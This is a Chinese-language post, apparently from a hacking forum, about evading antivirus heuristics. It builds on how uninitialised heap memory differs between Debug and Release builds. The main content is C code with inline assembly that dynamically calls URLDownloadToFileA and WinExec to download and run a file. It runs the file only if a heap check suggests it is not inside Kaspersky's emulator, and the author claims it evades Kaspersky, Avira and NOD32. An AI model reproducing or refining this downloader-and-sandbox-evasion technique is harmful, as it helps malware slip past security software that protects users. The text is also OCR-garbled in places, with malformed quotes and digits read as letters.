这个思路时前几天复习指针时突然想到的,我们先来看一段代码: char *p = new char [3]; *(p+l) = 'f'; printf("%x\n",*p); printf("%c\n",*(p+l)); printf("%x\n",*(p+2)); delete p; 写这段代码当时是为了测试堆空间,输出结果为: ffffffcd f ffffffcd 从结果中可以看到,除了中间那个“f”是我赋值的,上、下两个数都是堆空间申请后的初始值。当时我就觉得0xffffffcd这个数值应该是系统用来识别堆空间用的,这样在释放的时候就可以跟据这个数值知道应该回收哪些字节了。这时编译的模式是Debug模式,于是下意识的调成Release模式,再次编译后竟出现了不同的结果:0 f 0 我们可以看到Release模式后,堆空间的初始值变成了0,至于为什么变成0我至今也 没搞清楚(本人水平有限,如果有知道的朋友还望指出原因)。但马上就跟免杀方面联系到了一起,debug是调试模式,它的堆空间就有初始值,那么杀软的虚拟机环境也可以算是一个调试模式了,那里面的堆空间会不会也是有初始值的呢?于是拿卡巴做了一个实验,证明我的想法是没错的,由此我们就可以利用这一点来突破卡巴的启发式查杀,下面是主要的代码: char * Str=〃c:\\test.exe〃; char * Url="file://c:\\windows\\system32\\notepad.exe"; HINSTANCE hi; hi=LoadLibrary(^urlmon. dll〃); PVOID Down=GetProcAddress(GetModuleHandle(^urlmon.dll〃),^URLDown 1 oadToFi 1 eA/r); _asm{ push 0 push 0 push Str push Url push 0 call Down } FreeLibrary(hi); char *pl=new char[l]; if ((*pl)==0) { hi=LoadLibrary(^kernel32.dll〃); PVOID Run=GetProcAddress(GetModuleHandle(^kernel32.dll"), "WinExec"); _asm { push SW_SHOW push Str call Run } FreeLibrary(hi); delete pl;} 代码很简单,就是利用判断新申请的堆空间的初始值是否为0,不为0就说明是在卡巴 的虚拟机环境内,则不会执行完整功能。此段代码在多台WINXP SP3和WIN 7环境下测试通过,均可以成功下载并运行记事本。卡巴、小红伞、N0D32的启发式也都全部免杀。 |